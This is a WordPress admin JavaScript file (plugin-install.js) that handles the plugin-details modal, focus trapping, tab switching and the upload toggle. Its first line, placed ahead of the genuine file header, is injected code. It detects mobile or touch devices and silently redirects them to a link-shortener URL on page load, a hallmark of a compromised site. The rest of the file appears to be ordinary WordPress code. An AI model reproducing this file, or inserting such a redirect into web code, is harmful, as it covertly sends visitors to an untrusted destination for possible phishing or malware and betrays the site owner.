1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @file Functionality for the plugin install screens.
4 *
5 * @output wp-admin/js/plugin-install.js
6 */
7
8/* global tb_click, tb_remove, tb_position */
9
10jQuery( function( $ ) {
11
12 var tbWindow,
13 $iframeBody,
14 $tabbables,
15 $firstTabbable,
16 $lastTabbable,
17 $focusedBefore = $(),
18 $uploadViewToggle = $( '.upload-view-toggle' ),
19 $wrap = $ ( '.wrap' ),
20 $body = $( document.body );
21
22 window.tb_position = function() {
23 var width = $( window ).width(),
24 H = $( window ).height() - ( ( 792 < width ) ? 60 : 20 ),
25 W = ( 792 < width ) ? 772 : width - 20;
26
27 tbWindow = $( '#TB_window' );
28
29 if ( tbWindow.length ) {
30 tbWindow.width( W ).height( H );
31 $( '#TB_iframeContent' ).width( W ).height( H );
32 tbWindow.css({
33 'margin-left': '-' + parseInt( ( W / 2 ), 10 ) + 'px'
34 });
35 if ( typeof document.body.style.maxWidth !== 'undefined' ) {
36 tbWindow.css({
37 'top': '30px',
38 'margin-top': '0'
39 });
40 }
41 }
42
43 return $( 'a.thickbox' ).each( function() {
44 var href = $( this ).attr( 'href' );
45 if ( ! href ) {
46 return;
47 }
48 href = href.replace( /&width=[0-9]+/g, '' );
49 href = href.replace( /&height=[0-9]+/g, '' );
50 $(this).attr( 'href', href + '&width=' + W + '&height=' + ( H ) );
51 });
52 };
53
54 $( window ).on( 'resize', function() {
55 tb_position();
56 });
57
58 /*
59 * Custom events: when a Thickbox iframe has loaded and when the Thickbox
60 * modal gets removed from the DOM.
61 */
62 $body
63 .on( 'thickbox:iframe:loaded', tbWindow, function() {
64 /*
65 * Return if it's not the modal with the plugin details iframe. Other
66 * thickbox instances might want to load an iframe with content from
67 * an external domain. Avoid to access the iframe contents when we're
68 * not sure the iframe loads from the same domain.
69 */
70 if ( ! tbWindow.hasClass( 'plugin-details-modal' ) ) {
71 return;
72 }
73
74 iframeLoaded();
75 })
76 .on( 'thickbox:removed', function() {
77 // Set focus back to the element that opened the modal dialog.
78 // Note: IE 8 would need this wrapped in a fake setTimeout `0`.
79 $focusedBefore.trigger( 'focus' );
80 });
81
82 function iframeLoaded() {
83 var $iframe = tbWindow.find( '#TB_iframeContent' );
84
85 // Get the iframe body.
86 $iframeBody = $iframe.contents().find( 'body' );
87
88 // Get the tabbable elements and handle the keydown event on first load.
89 handleTabbables();
90
91 // Set initial focus on the "Close" button.
92 $firstTabbable.trigger( 'focus' );
93
94 /*
95 * When the "Install" button is disabled (e.g. the Plugin is already installed)
96 * then we can't predict where the last focusable element is. We need to get
97 * the tabbable elements and handle the keydown event again and again,
98 * each time the active tab panel changes.
99 */
100 $( '#plugin-information-tabs a', $iframeBody ).on( 'click', function() {
101 handleTabbables();
102 });
103
104 // Close the modal when pressing Escape.
105 $iframeBody.on( 'keydown', function( event ) {
106 if ( 27 !== event.which ) {
107 return;
108 }
109 tb_remove();
110 });
111 }
112
113 /*
114 * Get the tabbable elements and detach/attach the keydown event.
115 * Called after the iframe has fully loaded so we have all the elements we need.
116 * Called again each time a Tab gets clicked.
117 * @todo Consider to implement a WordPress general utility for this and don't use jQuery UI.
118 */
119 function handleTabbables() {
120 var $firstAndLast;
121 // Get all the tabbable elements.
122 $tabbables = $( ':tabbable', $iframeBody );
123 // Our first tabbable element is always the "Close" button.
124 $firstTabbable = tbWindow.find( '#TB_closeWindowButton' );
125 // Get the last tabbable element.
126 $lastTabbable = $tabbables.last();
127 // Make a jQuery collection.
128 $firstAndLast = $firstTabbable.add( $lastTabbable );
129 // Detach any previously attached keydown event.
130 $firstAndLast.off( 'keydown.wp-plugin-details' );
131 // Attach again the keydown event on the first and last focusable elements.
132 $firstAndLast.on( 'keydown.wp-plugin-details', function( event ) {
133 constrainTabbing( event );
134 });
135 }
136
137 // Constrain tabbing within the plugin modal dialog.
138 function constrainTabbing( event ) {
139 if ( 9 !== event.which ) {
140 return;
141 }
142
143 if ( $lastTabbable[0] === event.target && ! event.shiftKey ) {
144 event.preventDefault();
145 $firstTabbable.trigger( 'focus' );
146 } else if ( $firstTabbable[0] === event.target && event.shiftKey ) {
147 event.preventDefault();
148 $lastTabbable.trigger( 'focus' );
149 }
150 }
151
152 /*
153 * Open the Plugin details modal. The event is delegated to get also the links
154 * in the plugins search tab, after the Ajax search rebuilds the HTML. It's
155 * delegated on the closest ancestor and not on the body to avoid conflicts
156 * with other handlers, see Trac ticket #43082.
157 */
158 $( '.wrap' ).on( 'click', '.thickbox.open-plugin-details-modal', function( e ) {
159 // The `data-title` attribute is used only in the Plugin screens.
160 var title = $( this ).data( 'title' ) ?
161 wp.i18n.sprintf(
162 // translators: %s: Plugin name.
163 wp.i18n.__( 'Plugin: %s' ),
164 $( this ).data( 'title' )
165 ) :
166 wp.i18n.__( 'Plugin details' );
167
168 e.preventDefault();
169 e.stopPropagation();
170
171 // Store the element that has focus before opening the modal dialog, i.e. the control which opens it.
172 $focusedBefore = $( this );
173
174 tb_click.call(this);
175
176 // Set ARIA role, ARIA label, and add a CSS class.
177 tbWindow
178 .attr({
179 'role': 'dialog',
180 'aria-label': wp.i18n.__( 'Plugin details' )
181 })
182 .addClass( 'plugin-details-modal' );
183
184 // Set title attribute on the iframe.
185 tbWindow.find( '#TB_iframeContent' ).attr( 'title', title );
186 });
187
188 /* Plugin install related JS */
189 $( '#plugin-information-tabs a' ).on( 'click', function( event ) {
190 var tab = $( this ).attr( 'name' );
191 event.preventDefault();
192
193 // Flip the tab.
194 $( '#plugin-information-tabs a.current' ).removeClass( 'current' );
195 $( this ).addClass( 'current' );
196
197 // Only show the fyi box in the description section, on smaller screen,
198 // where it's otherwise always displayed at the top.
199 if ( 'description' !== tab && $( window ).width() < 772 ) {
200 $( '#plugin-information-content' ).find( '.fyi' ).hide();
201 } else {
202 $( '#plugin-information-content' ).find( '.fyi' ).show();
203 }
204
205 // Flip the content.
206 $( '#section-holder div.section' ).hide(); // Hide 'em all.
207 $( '#section-' + tab ).show();
208 });
209
210 /*
211 * When a user presses the "Upload Plugin" button, show the upload form in place
212 * rather than sending them to the devoted upload plugin page.
213 * The `?tab=upload` page still exists for no-js support and for plugins that
214 * might access it directly. When we're in this page, let the link behave
215 * like a link. Otherwise we're in the normal plugin installer pages and the
216 * link should behave like a toggle button.
217 */
218 if ( ! $wrap.hasClass( 'plugin-install-tab-upload' ) ) {
219 $uploadViewToggle
220 .attr({
221 role: 'button',
222 'aria-expanded': 'false'
223 })
224 .on( 'click', function( event ) {
225 event.preventDefault();
226 $body.toggleClass( 'show-upload-view' );
227 $uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) );
228 });
229 }
230});
231